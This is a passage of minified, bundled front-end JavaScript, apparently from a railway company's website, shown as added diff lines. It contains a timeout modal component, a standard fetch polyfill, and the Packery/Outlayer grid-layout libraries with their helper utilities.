window.NMBS_SNCB.timeoutModal = this + } + }, { + key: "bindEvents", + value: function e() { + this.show = this.show.bind(this); + this.hide = this.hide.bind(this) + } + }, { + key: "show", + value: function e() { + this.el.classList.add("flex-d"); + setTimeout(function () { + return document.body.classList.add("timeout-modal--open") + }, 0); + this.firstFocusableEl.focus() + } + }, { + key: "hide", + value: function e() { + var t = this; + document.body.classList.remove("timeout-modal--open"); + setTimeout(function () { + return t.el.classList.remove("flex-d") + }, 300) + } + }]); + return t + }(h.Component); + p.defaultSettings = {}; + t.default = p + }]) + }) +}, function (e, t) { + (function (e) { + "use strict"; + if (e.fetch) { + return + } + var t = { + searchParams: "URLSearchParams" in e, + iterable: "Symbol" in e && "iterator" in Symbol, + blob: "FileReader" in e && "Blob" in e && function () { + try { + new Blob; + return true + } catch (e) { + return false + } + }(), + formData: "FormData" in e, + arrayBuffer: "ArrayBuffer" in e + }; + if (t.arrayBuffer) { + var i = ["[object Int8Array]", "[object Uint8Array]", "[object Uint8ClampedArray]", "[object Int16Array]", "[object Uint16Array]", "[object Int32Array]", "[object Uint32Array]", "[object Float32Array]", "[object Float64Array]"]; + var n = function (e) { + return e && DataView.prototype.isPrototypeOf(e) + }; + var r = ArrayBuffer.isView || function (e) { + return e && i.indexOf(Object.prototype.toString.call(e)) > -1 + } + } + + function a(e) { + if (typeof e !== "string") { + e = String(e) + } + if (/[^a-z0-9\-#$%&'*+.\^_`|~]/i.test(e)) { + throw new TypeError("Invalid character in header field name") + } + return e.toLowerCase() + } + + function s(e) { + if (typeof e !== "string") { + e = String(e) + } + return e + } + + function o(e) { + var i = { + next: function () { + var t = e.shift(); + return { + done: t === undefined, + value: t + } + } + }; + if (t.iterable) { + i[Symbol.iterator] = function () { + return i + } + } + return i + } + + function l(e) { + this.map = {}; + if (e instanceof l) { + e.forEach(function (e, t) { + this.append(t, e) + }, this) + } else if (Array.isArray(e)) { + e.forEach(function (e) { + this.append(e[0], e[1]) + }, this) + } else if (e) { + Object.getOwnPropertyNames(e).forEach(function (t) { + this.append(t, e[t]) + }, this) + } + } + l.prototype.append = function (e, t) { + e = a(e); + t = s(t); + var i = this.map[e]; + this.map[e] = i ? i + "," + t : t + }; + l.prototype["delete"] = function (e) { + delete this.map[a(e)] + }; + l.prototype.get = function (e) { + e = a(e); + return this.has(e) ? this.map[e] : null + }; + l.prototype.has = function (e) { + return this.map.hasOwnProperty(a(e)) + }; + l.prototype.set = function (e, t) { + this.map[a(e)] = s(t) + }; + l.prototype.forEach = function (e, t) { + for (var i in this.map) { + if (this.map.hasOwnProperty(i)) { + e.call(t, this.map[i], i, this) + } + } + }; + l.prototype.keys = function () { + var e = []; + this.forEach(function (t, i) { + e.push(i) + }); + return o(e) + }; + l.prototype.values = function () { + var e = []; + this.forEach(function (t) { + e.push(t) + }); + return o(e) + }; + l.prototype.entries = function () { + var e = []; + this.forEach(function (t, i) { + e.push([i, t]) + }); + return o(e) + }; + if (t.iterable) { + l.prototype[Symbol.iterator] = l.prototype.entries + } + + function u(e) { + if (e.bodyUsed) { + return Promise.reject(new TypeError("Already read")) + } + e.bodyUsed = true + } + + function d(e) { + return new Promise(function (t, i) { + e.onload = function () { + t(e.result) + }; + e.onerror = function () { + i(e.error) + } + }) + } + + function f(e) { + var t = new FileReader; + var i = d(t); + t.readAsArrayBuffer(e); + return i + } + + function c(e) { + var t = new FileReader; + var i = d(t); + t.readAsText(e); + return i + } + + function h(e) { + var t = new Uint8Array(e); + var i = new Array(t.length); + for (var n = 0; n < t.length; n++) { + i[n] = String.fromCharCode(t[n]) + } + return i.join("") + } + + function m(e) { + if (e.slice) { + return e.slice(0) + } else { + var t = new Uint8Array(e.byteLength); + t.set(new Uint8Array(e)); + return t.buffer + } + } + + function p() { + this.bodyUsed = false; + this._initBody = function (e) { + this._bodyInit = e; + if (!e) { + this._bodyText = "" + } else if (typeof e === "string") { + this._bodyText = e + } else if (t.blob && Blob.prototype.isPrototypeOf(e)) { + this._bodyBlob = e + } else if (t.formData && FormData.prototype.isPrototypeOf(e)) { + this._bodyFormData = e + } else if (t.searchParams && URLSearchParams.prototype.isPrototypeOf(e)) { + this._bodyText = e.toString() + } else if (t.arrayBuffer && t.blob && n(e)) { + this._bodyArrayBuffer = m(e.buffer); + this._bodyInit = new Blob([this._bodyArrayBuffer]) + } else if (t.arrayBuffer && (ArrayBuffer.prototype.isPrototypeOf(e) || r(e))) { + this._bodyArrayBuffer = m(e) + } else { + throw new Error("unsupported BodyInit type") + } + if (!this.headers.get("content-type")) { + if (typeof e === "string") { + this.headers.set("content-type", "text/plain;charset=UTF-8") + } else if (this._bodyBlob && this._bodyBlob.type) { + this.headers.set("content-type", this._bodyBlob.type) + } else if (t.searchParams && URLSearchParams.prototype.isPrototypeOf(e)) { + this.headers.set("content-type", "application/x-www-form-urlencoded;charset=UTF-8") + } + } + }; + if (t.blob) { + this.blob = function () { + var e = u(this); + if (e) { + return e + } + if (this._bodyBlob) { + return Promise.resolve(this._bodyBlob) + } else if (this._bodyArrayBuffer) { + return Promise.resolve(new Blob([this._bodyArrayBuffer])) + } else if (this._bodyFormData) { + throw new Error("could not read FormData body as blob") + } else { + return Promise.resolve(new Blob([this._bodyText])) + } + }; + this.arrayBuffer = function () { + if (this._bodyArrayBuffer) { + return u(this) || Promise.resolve(this._bodyArrayBuffer) + } else { + return this.blob().then(f) + } + } + } + this.text = function () { + var e = u(this); + if (e) { + return e + } + if (this._bodyBlob) { + return c(this._bodyBlob) + } else if (this._bodyArrayBuffer) { + return Promise.resolve(h(this._bodyArrayBuffer)) + } else if (this._bodyFormData) { + throw new Error("could not read FormData body as text") + } else { + return Promise.resolve(this._bodyText) + } + }; + if (t.formData) { + this.formData = function () { + return this.text().then(y) + } + } + this.json = function () { + return this.text().then(JSON.parse) + }; + return this + } + var v = ["DELETE", "GET", "HEAD", "OPTIONS", "POST", "PUT"]; + + function _(e) { + var t = e.toUpperCase(); + return v.indexOf(t) > -1 ? t : e + } + + function g(e, t) { + t = t || {}; + var i = t.body; + if (e instanceof g) { + if (e.bodyUsed) { + throw new TypeError("Already read") + } + this.url = e.url; + this.credentials = e.credentials; + if (!t.headers) { + this.headers = new l(e.headers) + } + this.method = e.method; + this.mode = e.mode; + if (!i && e._bodyInit != null) { + i = e._bodyInit; + e.bodyUsed = true + } + } else { + this.url = String(e) + } + this.credentials = t.credentials || this.credentials || "omit"; + if (t.headers || !this.headers) { + this.headers = new l(t.headers) + } + this.method = _(t.method || this.method || "GET"); + this.mode = t.mode || this.mode || null; + this.referrer = null; + if ((this.method === "GET" || this.method === "HEAD") && i) { + throw new TypeError("Body not allowed for GET or HEAD requests") + } + this._initBody(i) + } + g.prototype.clone = function () { + return new g(this, { + body: this._bodyInit + }) + }; + + function y(e) { + var t = new FormData; + e.trim().split("&").forEach(function (e) { + if (e) { + var i = e.split("="); + var n = i.shift().replace(/\+/g, " "); + var r = i.join("=").replace(/\+/g, " "); + t.append(decodeURIComponent(n), decodeURIComponent(r)) + } + }); + return t + } + + function b(e) { + var t = new l; + var i = e.replace(/\r?\n[\t ]+/g, " "); + i.split(/\r?\n/).forEach(function (e) { + var i = e.split(":"); + var n = i.shift().trim(); + if (n) { + var r = i.join(":").trim(); + t.append(n, r) + } + }); + return t + } + p.call(g.prototype); + + function w(e, t) { + if (!t) { + t = {} + } + this.type = "default"; + this.status = t.status === undefined ? 200 : t.status; + this.ok = this.status >= 200 && this.status < 300; + this.statusText = "statusText" in t ? t.statusText : "OK"; + this.headers = new l(t.headers); + this.url = t.url || ""; + this._initBody(e) + } + p.call(w.prototype); + w.prototype.clone = function () { + return new w(this._bodyInit, { + status: this.status, + statusText: this.statusText, + headers: new l(this.headers), + url: this.url + }) + }; + w.error = function () { + var e = new w(null, { + status: 0, + statusText: "" + }); + e.type = "error"; + return e + }; + var M = [301, 302, 303, 307, 308]; + w.redirect = function (e, t) { + if (M.indexOf(t) === -1) { + throw new RangeError("Invalid status code") + } + return new w(null, { + status: t, + headers: { + location: e + } + }) + }; + e.Headers = l; + e.Request = g; + e.Response = w; + e.fetch = function (e, i) { + return new Promise(function (n, r) { + var a = new g(e, i); + var s = new XMLHttpRequest; + s.onload = function () { + var e = { + status: s.status, + statusText: s.statusText, + headers: b(s.getAllResponseHeaders() || "") + }; + e.url = "responseURL" in s ? s.responseURL : e.headers.get("X-Request-URL"); + var t = "response" in s ? s.response : s.responseText; + n(new w(t, e)) + }; + s.onerror = function () { + r(new TypeError("Network request failed")) + }; + s.ontimeout = function () { + r(new TypeError("Network request failed")) + }; + s.open(a.method, a.url, true); + if (a.credentials === "include") { + s.withCredentials = true + } else if (a.credentials === "omit") { + s.withCredentials = false + } + if ("responseType" in s && t.blob) { + s.responseType = "blob" + } + a.headers.forEach(function (e, t) { + s.setRequestHeader(t, e) + }); + s.send(typeof a._bodyInit === "undefined" ? null : a._bodyInit) + }) + }; + e.fetch.polyfill = true + })(typeof self !== "undefined" ? self : this) +}, function (e, t, i) { + var n, r, a; + (function (s, o) { + if (true) { + !(r = [i(3), i(6), i(5), i(144), i(145)], n = o, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) + } else if (typeof e == "object" && e.exports) { + e.exports = o(require("get-size"), require("outlayer"), require("./rect"), require("./packer"), require("./item")) + } else { + s.Packery = o(s.getSize, s.Outlayer, s.Packery.Rect, s.Packery.Packer, s.Packery.Item) + } + })(window, function e(t, i, n, r, a) { + "use strict"; + n.prototype.canFit = function (e) { + return this.width >= e.width - 1 && this.height >= e.height - 1 + }; + var s = i.create("packery"); + s.Item = a; + var o = s.prototype; + o._create = function () { + i.prototype._create.call(this); + this.packer = new r; + this.shiftPacker = new r; + this.isEnabled = true; + this.dragItemCount = 0; + var e = this; + this.handleDraggabilly = { + dragStart: function () { + e.itemDragStart(this.element) + }, + dragMove: function () { + e.itemDragMove(this.element, this.position.x, this.position.y) + }, + dragEnd: function () { + e.itemDragEnd(this.element) + } + }; + this.handleUIDraggable = { + start: function t(i, n) { + if (!n) { + return + } + e.itemDragStart(i.currentTarget) + }, + drag: function t(i, n) { + if (!n) { + return + } + e.itemDragMove(i.currentTarget, n.position.left, n.position.top) + }, + stop: function t(i, n) { + if (!n) { + return + } + e.itemDragEnd(i.currentTarget) + } + } + }; + o._resetLayout = function () { + this.getSize(); + this._getMeasurements(); + var e, t, i; + if (this._getOption("horizontal")) { + e = Infinity; + t = this.size.innerHeight + this.gutter; + i = "rightwardTopToBottom" + } else { + e = this.size.innerWidth + this.gutter; + t = Infinity; + i = "downwardLeftToRight" + } + this.packer.width = this.shiftPacker.width = e; + this.packer.height = this.shiftPacker.height = t; + this.packer.sortDirection = this.shiftPacker.sortDirection = i; + this.packer.reset(); + this.maxY = 0; + this.maxX = 0 + }; + o._getMeasurements = function () { + this._getMeasurement("columnWidth", "width"); + this._getMeasurement("rowHeight", "height"); + this._getMeasurement("gutter", "width") + }; + o._getItemLayoutPosition = function (e) { + this._setRectSize(e.element, e.rect); + if (this.isShifting || this.dragItemCount > 0) { + var t = this._getPackMethod(); + this.packer[t](e.rect) + } else { + this.packer.pack(e.rect) + } + this._setMaxXY(e.rect); + return e.rect + }; + o.shiftLayout = function () { + this.isShifting = true; + this.layout(); + delete this.isShifting + }; + o._getPackMethod = function () { + return this._getOption("horizontal") ? "rowPack" : "columnPack" + }; + o._setMaxXY = function (e) { + this.maxX = Math.max(e.x + e.width, this.maxX); + this.maxY = Math.max(e.y + e.height, this.maxY) + }; + o._setRectSize = function (e, i) { + var n = t(e); + var r = n.outerWidth; + var a = n.outerHeight; + if (r || a) { + r = this._applyGridGutter(r, this.columnWidth); + a = this._applyGridGutter(a, this.rowHeight) + } + i.width = Math.min(r, this.packer.width); + i.height = Math.min(a, this.packer.height) + }; + o._applyGridGutter = function (e, t) { + if (!t) { + return e + this.gutter + } + t += this.gutter; + var i = e % t; + var n = i && i < 1 ? "round" : "ceil"; + e = Math[n](e / t) * t; + return e + }; + o._getContainerSize = function () { + if (this._getOption("horizontal")) { + return { + width: this.maxX - this.gutter + } + } else { + return { + height: this.maxY - this.gutter + } + } + }; + o._manageStamp = function (e) { + var t = this.getItem(e); + var i; + if (t && t.isPlacing) { + i = t.rect + } else { + var r = this._getElementOffset(e); + i = new n({ + x: this._getOption("originLeft") ? r.left : r.right, + y: this._getOption("originTop") ? r.top : r.bottom + }) + } + this._setRectSize(e, i); + this.packer.placed(i); + this._setMaxXY(i) + }; + + function l(e, t) { + return e.position.y - t.position.y || e.position.x - t.position.x + } + + function u(e, t) { + return e.position.x - t.position.x || e.position.y - t.position.y + } + o.sortItemsByPosition = function () { + var e = this._getOption("horizontal") ? u : l; + this.items.sort(e) + }; + o.fit = function (e, t, i) { + var n = this.getItem(e); + if (!n) { + return + } + this.stamp(n.element); + n.enablePlacing(); + this.updateShiftTargets(n); + t = t === undefined ? n.rect.x : t; + i = i === undefined ? n.rect.y : i; + this.shift(n, t, i); + this._bindFitEvents(n); + n.moveTo(n.rect.x, n.rect.y); + this.shiftLayout(); + this.unstamp(n.element); + this.sortItemsByPosition(); + n.disablePlacing() + }; + o._bindFitEvents = function (e) { + var t = this; + var i = 0; + + function n() { + i++; + if (i != 2) { + return + } + t.dispatchEvent("fitComplete", null, [e]) + } + e.once("layout", n); + this.once("layoutComplete", n) + }; + o.resize = function () { + if (!this.isResizeBound || !this.needsResizeLayout()) { + return + } + if (this.options.shiftPercentResize) { + this.resizeShiftPercentLayout() + } else { + this.layout() + } + }; + o.needsResizeLayout = function () { + var e = t(this.element); + var i = this._getOption("horizontal") ? "innerHeight" : "innerWidth"; + return e[i] != this.size[i] + }; + o.resizeShiftPercentLayout = function () { + var e = this._getItemsForLayout(this.items); + var i = this._getOption("horizontal"); + var n = i ? "y" : "x"; + var r = i ? "height" : "width"; + var a = i ? "rowHeight" : "columnWidth"; + var s = i ? "innerHeight" : "innerWidth"; + var o = this[a]; + o = o && o + this.gutter; + if (o) { + this._getMeasurements(); + var l = this[a] + this.gutter; + e.forEach(function (e) { + var t = Math.round(e.rect[n] / o); + e.rect[n] = t * l + }) + } else { + var u = t(this.element)[s] + this.gutter; + var d = this.packer[r]; + e.forEach(function (e) { + e.rect[n] = e.rect[n] / d * u + }) + } + this.shiftLayout() + }; + o.itemDragStart = function (e) { + if (!this.isEnabled) { + return + } + this.stamp(e); + var t = this.getItem(e); + if (!t) { + return + } + t.enablePlacing(); + t.showDropPlaceholder(); + this.dragItemCount++; + this.updateShiftTargets(t) + }; + o.updateShiftTargets = function (e) { + this.shiftPacker.reset(); + this._getBoundingRect(); + var t = this._getOption("originLeft"); + var i = this._getOption("originTop"); + this.stamps.forEach(function (e) { + var r = this.getItem(e); + if (r && r.isPlacing) { + return + } + var a = this._getElementOffset(e); + var s = new n({ + x: t ? a.left : a.right, + y: i ? a.top : a.bottom + }); + this._setRectSize(e, s); + this.shiftPacker.placed(s) + }, this); + var r = this._getOption("horizontal"); + var a = r ? "rowHeight" : "columnWidth"; + var s = r ? "height" : "width"; + this.shiftTargetKeys = []; + this.shiftTargets = []; + var o; + var l = this[a]; + l = l && l + this.gutter; + if (l) { + var u = Math.ceil(e.rect[s] / l); + var d = Math.floor((this.shiftPacker[s] + this.gutter) / l); + o = (d - u) * l; + for (var f = 0; f < d; f++) { + var c = r ? 0 : f * l; + var h = r ? f * l : 0; + this._addShiftTarget(c, h, o) + } + } else { + o = this.shiftPacker[s] + this.gutter - e.rect[s]; + this._addShiftTarget(0, 0, o) + } + var m = this._getItemsForLayout(this.items); + var p = this._getPackMethod(); + m.forEach(function (e) { + var t = e.rect; + this._setRectSize(e.element, t); + this.shiftPacker[p](t); + this._addShiftTarget(t.x, t.y, o); + var i = r ? t.x + t.width : t.x; + var n = r ? t.y : t.y + t.height; + this._addShiftTarget(i, n, o); + if (l) { + var a = Math.round(t[s] / l); + for (var u = 1; u < a; u++) { + var d = r ? i : t.x + l * u; + var f = r ? t.y + l * u : n; + this._addShiftTarget(d, f, o) + } + } + }, this) + }; + o._addShiftTarget = function (e, t, i) { + var n = this._getOption("horizontal") ? t : e; + if (n !== 0 && n > i) { + return + } + var r = e + "," + t; + var a = this.shiftTargetKeys.indexOf(r) != -1; + if (a) { + return + } + this.shiftTargetKeys.push(r); + this.shiftTargets.push({ + x: e, + y: t + }) + }; + o.shift = function (e, t, i) { + var n; + var r = Infinity; + var a = { + x: t, + y: i + }; + this.shiftTargets.forEach(function (e) { + var t = d(e, a); + if (t < r) { + n = e; + r = t + } + }); + e.rect.x = n.x; + e.rect.y = n.y + }; + + function d(e, t) { + var i = t.x - e.x; + var n = t.y - e.y; + return Math.sqrt(i * i + n * n) + } + var f = 120; + o.itemDragMove = function (e, t, i) { + var n = this.isEnabled && this.getItem(e); + if (!n) { + return + } + t -= this.size.paddingLeft; + i -= this.size.paddingTop; + var r = this; + + function a() { + r.shift(n, t, i); + n.positionDropPlaceholder(); + r.layout() + } + var s = new Date; + var o = this._itemDragTime && s - this._itemDragTime < f; + if (o) { + clearTimeout(this.dragTimeout); + this.dragTimeout = setTimeout(a, f) + } else { + a(); + this._itemDragTime = s + } + }; + o.itemDragEnd = function (e) { + var t = this.isEnabled && this.getItem(e); + if (!t) { + return + } + clearTimeout(this.dragTimeout); + t.element.classList.add("is-positioning-post-drag"); + var i = 0; + var n = this; + + function r() { + i++; + if (i != 2) { + return + } + t.element.classList.remove("is-positioning-post-drag"); + t.hideDropPlaceholder(); + n.dispatchEvent("dragItemPositioned", null, [t]) + } + t.once("layout", r); + this.once("layoutComplete", r); + t.moveTo(t.rect.x, t.rect.y); + this.layout(); + this.dragItemCount = Math.max(0, this.dragItemCount - 1); + this.sortItemsByPosition(); + t.disablePlacing(); + this.unstamp(t.element) + }; + o.bindDraggabillyEvents = function (e) { + this._bindDraggabillyEvents(e, "on") + }; + o.unbindDraggabillyEvents = function (e) { + this._bindDraggabillyEvents(e, "off") + }; + o._bindDraggabillyEvents = function (e, t) { + var i = this.handleDraggabilly; + e[t]("dragStart", i.dragStart); + e[t]("dragMove", i.dragMove); + e[t]("dragEnd", i.dragEnd) + }; + o.bindUIDraggableEvents = function (e) { + this._bindUIDraggableEvents(e, "on") + }; + o.unbindUIDraggableEvents = function (e) { + this._bindUIDraggableEvents(e, "off") + }; + o._bindUIDraggableEvents = function (e, t) { + var i = this.handleUIDraggable; + e[t]("dragstart", i.start)[t]("drag", i.drag)[t]("dragstop", i.stop) + }; + var c = o.destroy; + o.destroy = function () { + c.apply(this, arguments); + this.isEnabled = false + }; + s.Rect = n; + s.Packer = r; + return s + }) +}, function (e, t, i) { + var n, r; + (function (a, s) { + if (true) { + !(n = [i(142)], r = function (e) { + return s(a, e) + }.apply(t, n), r !== undefined && (e.exports = r)) + } else if (typeof e == "object" && e.exports) { + e.exports = s(a, require("desandro-matches-selector")) + } else { + a.fizzyUIUtils = s(a, a.matchesSelector) + } + })(window, function e(t, i) { + "use strict"; + var n = {}; + n.extend = function (e, t) { + for (var i in t) { + e[i] = t[i] + } + return e + }; + n.modulo = function (e, t) { + return (e % t + t) % t + }; + var r = Array.prototype.slice; + n.makeArray = function (e) { + if (Array.isArray(e)) { + return e + } + if (e === null || e === undefined) { + return [] + } + var t = typeof e == "object" && typeof e.length == "number"; + if (t) { + return r.call(e) + } + return [e] + }; + n.removeFrom = function (e, t) { + var i = e.indexOf(t); + if (i != -1) { + e.splice(i, 1) + } + }; + n.getParent = function (e, t) { + while (e.parentNode && e != document.body) { + e = e.parentNode; + if (i(e, t)) { + return e + } + } + }; + n.getQueryElement = function (e) { + if (typeof e == "string") { + return document.querySelector(e) + } + return e + }; + n.handleEvent = function (e) { + var t = "on" + e.type; + if (this[t]) { + this[t](e) + } + }; + n.filterFindElements = function (e, t) { + e = n.makeArray(e); + var r = []; + e.forEach(function (e) { + if (!(e instanceof HTMLElement)) { + return + } + if (!t) { + r.push(e); + return + } + if (i(e, t)) { + r.push(e) + } + var n = e.querySelectorAll(t); + for (var a = 0; a < n.length; a++) { + r.push(n[a]) + } + }); + return r + }; + n.debounceMethod = function (e, t, i) { + i = i || 100; + var n = e.prototype[t]; + var r = t + "Timeout"; + e.prototype[t] = function () { + var e = this[r]; + clearTimeout(e); + var t = arguments; + var a = this; + this[r] = setTimeout(function () { + n.apply(a, t); + delete a[r] + }, i) + } + }; + n.docReady = function (e) { + var t = document.readyState; + if (t == "complete" || t == "interactive") { + setTimeout(e) + } else { + document.addEventListener("DOMContentLoaded", e) + } + }; + n.toDashed = function (e) { + return e.replace(/(.)([A-Z])/g, function (e, t, i) { + return t + "-" + i + }).toLowerCase() + }; + var a = t.console; + n.htmlInit = function (e, i) { + n.docReady(function () { + var r = n.toDashed(i); + var s = "data-" + r; + var o = document.querySelectorAll("[" + s + "]"); + var l = document.querySelectorAll(".js-" + r); + var u = n.makeArray(o).concat(n.makeArray(l)); + var d = s + "-options"; + var f = t.jQuery; + u.forEach(function (t) { + var n = t.getAttribute(s) || t.getAttribute(d); + var r; + try { + r = n && JSON.parse(n) + } catch (e) { + if (a) { + a.error("Error parsing " + s + " on " + t.className + ": " + e) + } + return + } + var o = new e(t, r); + if (f) { + f.data(t, i, o) + } + }) + }) + }; + return n + }) +}, function (e, t, i) { + var n, r; + (function (a, s) { + "use strict"; + if (true) { + !(n = s, r = typeof n === "function" ? n.call(t, i, t, e) : n, r !== undefined && (e.exports = r)) + } else if (typeof e == "object" && e.exports) { + e.exports = s() + } else { + a.matchesSelector = s() + } + })(window, function e() { + "use strict"; + var t = function () { + var e = window.Element.prototype; + if (e.matches) { + return "matches" + } + if (e.matchesSelector) { + return "matchesSelector" + } + var t = ["webkit", "moz", "ms", "o"]; + for (var i = 0; i < t.length; i++) { + var n = t[i]; + var r = n + "MatchesSelector"; + if (e[r]) { + return r + } + } + }(); + return function e(i, n) { + return i[t](n) + } + }) +}, function (e, t, i) { + var n, r, a; + (function (s, o) { + if (true) { + !(r = [i(4), i(3)], n = o, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) + } else if (typeof e == "object" && e.exports) { + e.exports = o(require("ev-emitter"), require("get-size")) + } else { + s.Outlayer = {}; + s.Outlayer.Item = o(s.EvEmitter, s.getSize) + } + })(window, function e(t, i) { + "use strict"; + + function n(e) { + for (var t in e) { + return false + } + t = null; + return true + } + var r = document.documentElement.style; + var a = typeof r.transition == "string" ? "transition" : "WebkitTransition"; + var s = typeof r.transform == "string" ? "transform" : "WebkitTransform"; + var o = { + WebkitTransition: "webkitTransitionEnd", + transition: "transitionend" + }[a]; + var l = { + transform: s, + transition: a, + transitionDuration: a + "Duration", + transitionProperty: a + "Property", + transitionDelay: a + "Delay" + }; + + function u(e, t) { + if (!e) { + return + } + this.element = e; + this.layout = t; + this.position = { + x: 0, + y: 0 + }; + this._create() + } + var d = u.prototype = Object.create(t.prototype); + d.constructor = u; + d._create = function () { + this._transn = { + ingProperties: {}, + clean: {}, + onEnd: {} + }; + this.css({ + position: "absolute" + }) + }; + d.handleEvent = function (e) { + var t = "on" + e.type; + if (this[t]) { + this[t](e) + } + }; + d.getSize = function () { + this.size = i(this.element) + }; + d.css = function (e) { + var t = this.element.style; + for (var i in e) { + var n = l[i] || i; + t[n] = e[i] + } + }; + d.getPosition = function () { + var e = getComputedStyle(this.element); + var t = this.layout._getOption("originLeft"); + var i = this.layout._getOption("originTop"); + var n = e[t ? "left" : "right"]; + var r = e[i ? "top" : "bottom"]; + var a = parseFloat(n); + var s = parseFloat(r); + var o = this.layout.size; + if (n.indexOf("%") != -1) { + a = a / 100 * o.width + } + if (r.indexOf("%") != -1) { + s = s / 100 * o.height + } + a = isNaN(a) ? 0 : a; + s = isNaN(s) ? 0 : s; + a -= t ? o.paddingLeft : o.paddingRight; + s -= i ? o.paddingTop : o.paddingBottom; + this.position.x = a; + this.position.y = s + }; + d.layoutPosition = function () { + var e = this.layout.size; + var t = {}; + var i = this.layout._getOption("originLeft"); + var n = this.layout._getOption("originTop"); + var r = i ? "paddingLeft" : "paddingRight"; + var a = i ? "left" : "right"; + var s = i ? "right" : "left"; + var o = this.position.x + e[r]; + t[a] = this.getXValue(o); + t[s] = ""; + var l = n ? "paddingTop" : "paddingBottom"; + var u = n ? "top" : "bottom"; + var d = n ? "bottom" : "top"; + var f = this.position.y + e[l]; + t[u] = this.getYValue(f); + t[d] = ""; + this.css(t); + this.emitEvent("layout", [this]) + }; + d.getXValue = function (e) { + var t = this.layout._getOption("horizontal"); + return this.layout.options.percentPosition && !t ? e / this.layout.size.width * 100 + "%" : e + "px" + }; + d.getYValue = function (e) { + var t = this.layout._getOption("horizontal"); + return this.layout.options.percentPosition && t ? e / this.layout.size.height * 100 + "%" : e + "px" + }; + d._transitionTo = function (e, t) { + this.getPosition(); + var i = this.position.x; + var n = this.position.y; + var r = e == this.position.x && t == this.position.y; + this.setPosition(e, t); + if (r && !this.isTransitioning) { + this.layoutPosition(); + return + } + var a = e - i; + var s = t - n; + var o = {}; + o.transform = this.getTranslate(a, s); + this.transition({ + to: o, + onTransitionEnd: { + transform: this.layoutPosition + }, + isCleaning: true + }) + }; + d.getTranslate = function (e, t) { + var i = this.layout._getOption("originLeft"); + var n = this.layout._getOption("originTop"); + e = i ? e : -e; + t = n ? t : -t; + return "translate3d(" + e + "px, " + t + "px, 0)" + }; + d.goTo = function (e, t) { + this.setPosition(e, t); + this.layoutPosition() + }; + d.moveTo = d._transitionTo; + d.setPosition = function (e, t) { + this.position.x = parseFloat(e); + this.position.y = parseFloat(t) + }; + d._nonTransition = function (e) { + this.css(e.to); + if (e.isCleaning) { + this._removeStyles(e.to) + } + for (var t in e.onTransitionEnd) { + e.onTransitionEnd[t].call(this) + } + }; + d.transition = function (e) { + if (!parseFloat(this.layout.options.transitionDuration)) { + this._nonTransition(e); + return + } + var t = this._transn; + for (var i in e.onTransitionEnd) { + t.onEnd[i] = e.onTransitionEnd[i] + } + for (i in e.to) { + t.ingProperties[i] = true; + if (e.isCleaning) { + t.clean[i] = true + } + } + if (e.from) { + this.css(e.from); + var n = this.element.offsetHeight; + n = null + } + this.enableTransition(e.to); + this.css(e.to); + this.isTransitioning = true + }; + + function f(e) { + return e.replace(/([A-Z])/g, function (e) { + return "-" + e.toLowerCase() + }) + } + var c = "opacity," + f(s); + d.enableTransition = function () { + if (this.isTransitioning) { + return + } + var e = this.layout.options.transitionDuration; + e = typeof e == "number" ? e + "ms" : e; + this.css({ + transitionProperty: c, + transitionDuration: e, + transitionDelay: this.staggerDelay || 0 + }); + this.element.addEventListener(o, this, false) + }; + d.onwebkitTransitionEnd = function (e) { + this.ontransitionend(e) + }; + d.onotransitionend = function (e) { + this.ontransitionend(e) + }; + var h = { + "-webkit-transform": "transform" + }; + d.ontransitionend = function (e) { + if (e.target !== this.element) { + return + } + var t = this._transn; + var i = h[e.propertyName] || e.propertyName; + delete t.ingProperties[i]; + if (n(t.ingProperties)) { + this.disableTransition() + } + if (i in t.clean) { + this.element.style[e.propertyName] = ""; + delete t.clean[i] + } + if (i in t.onEnd) { + var r = t.onEnd[i]; + r.call(this); + delete t.onEnd[i] + } + this.emitEvent("transitionEnd", [this]) + }; + d.disableTransition = function () { + this.removeTransitionStyles(); + this.element.removeEventListener(o, this, false); + this.isTransitioning = false + }; + d._removeStyles = function (e) { + var t = {}; + for (var i in e) { + t[i] = "" + } + this.css(t) + }; + var m = { + transitionProperty: "", + transitionDuration: "", + transitionDelay: "" + }; + d.removeTransitionStyles = function () { + this.css(m) + }; + d.stagger = function (e) { + e = isNaN(e) ? 0 : e; + this.staggerDelay = e + "ms" + }; + d.removeElem = function () { + this.element.parentNode.removeChild(this.element); + this.css({ + display: "" + }); + this.emitEvent("remove", [this]) + }; + d.remove = function () { + if (!a || !parseFloat(this.layout.options.transitionDuration)) { + this.removeElem(); + return + } + this.once("transitionEnd", function () { + this.removeElem() + }); + this.hide() + }; + d.reveal = function () { + delete this.isHidden; + this.css({ + display: "" + }); + var e = this.layout.options; + var t = {}; + var i = this.getHideRevealTransitionEndProperty("visibleStyle"); + t[i] = this.onRevealTransitionEnd; + this.transition({ + from: e.hiddenStyle, + to: e.visibleStyle, + isCleaning: true, + onTransitionEnd: t + }) + }; + d.onRevealTransitionEnd = function () { + if (!this.isHidden) { + this.emitEvent("reveal") + } + }; + d.getHideRevealTransitionEndProperty = function (e) { + var t = this.layout.options[e]; + if (t.opacity) { + return "opacity" + } + for (var i in t) { + return i + } + }; + d.hide = function () { + this.isHidden = true; + this.css({ + display: "" + }); + var e = this.layout.options; + var t = {}; + var i = this.getHideRevealTransitionEndProperty("hiddenStyle"); + t[i] = this.onHideTransitionEnd; + this.transition({ + from: e.visibleStyle, + to: e.hiddenStyle, + isCleaning: true, + onTransitionEnd: t + }) + }; + d.onHideTransitionEnd = function () { + if (this.isHidden) { + this.css({ + display: "none" + }); + this.emitEvent("hide") + } + }; + d.destroy = function () { + this.css({ + position: "", + left: "", + right: "", + top: "", + bottom: "", + transition: "", + transform: "" + }) + }; + return u + }) +}, function (e, t, i) { + var n, r, a; + (function (s, o) { + if (true) { + !(r = [i(5)], n = o, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) + } else if (typeof e == "object" && e.exports) { + e.exports = o(require("./rect")) + } else { + var l = s.Packery = s.Packery || {}; + l.Packer = o(l.Rect) + } + })(window, function e(t) { + "use strict"; + + function i(e, t, i) { + this.width = e || 0; + this.height = t || 0; + this.sortDirection = i || "downwardLeftToRight"; + this.reset() + } + var n = i.prototype; + n.reset = function () { + this.spaces = []; + var e = new t({ + x: 0, + y: 0, + width: this.width, + height: this.height + }); + this.spaces.push(e); + this.sorter = r[this.sortDirection] || r.downwardLeftToRight 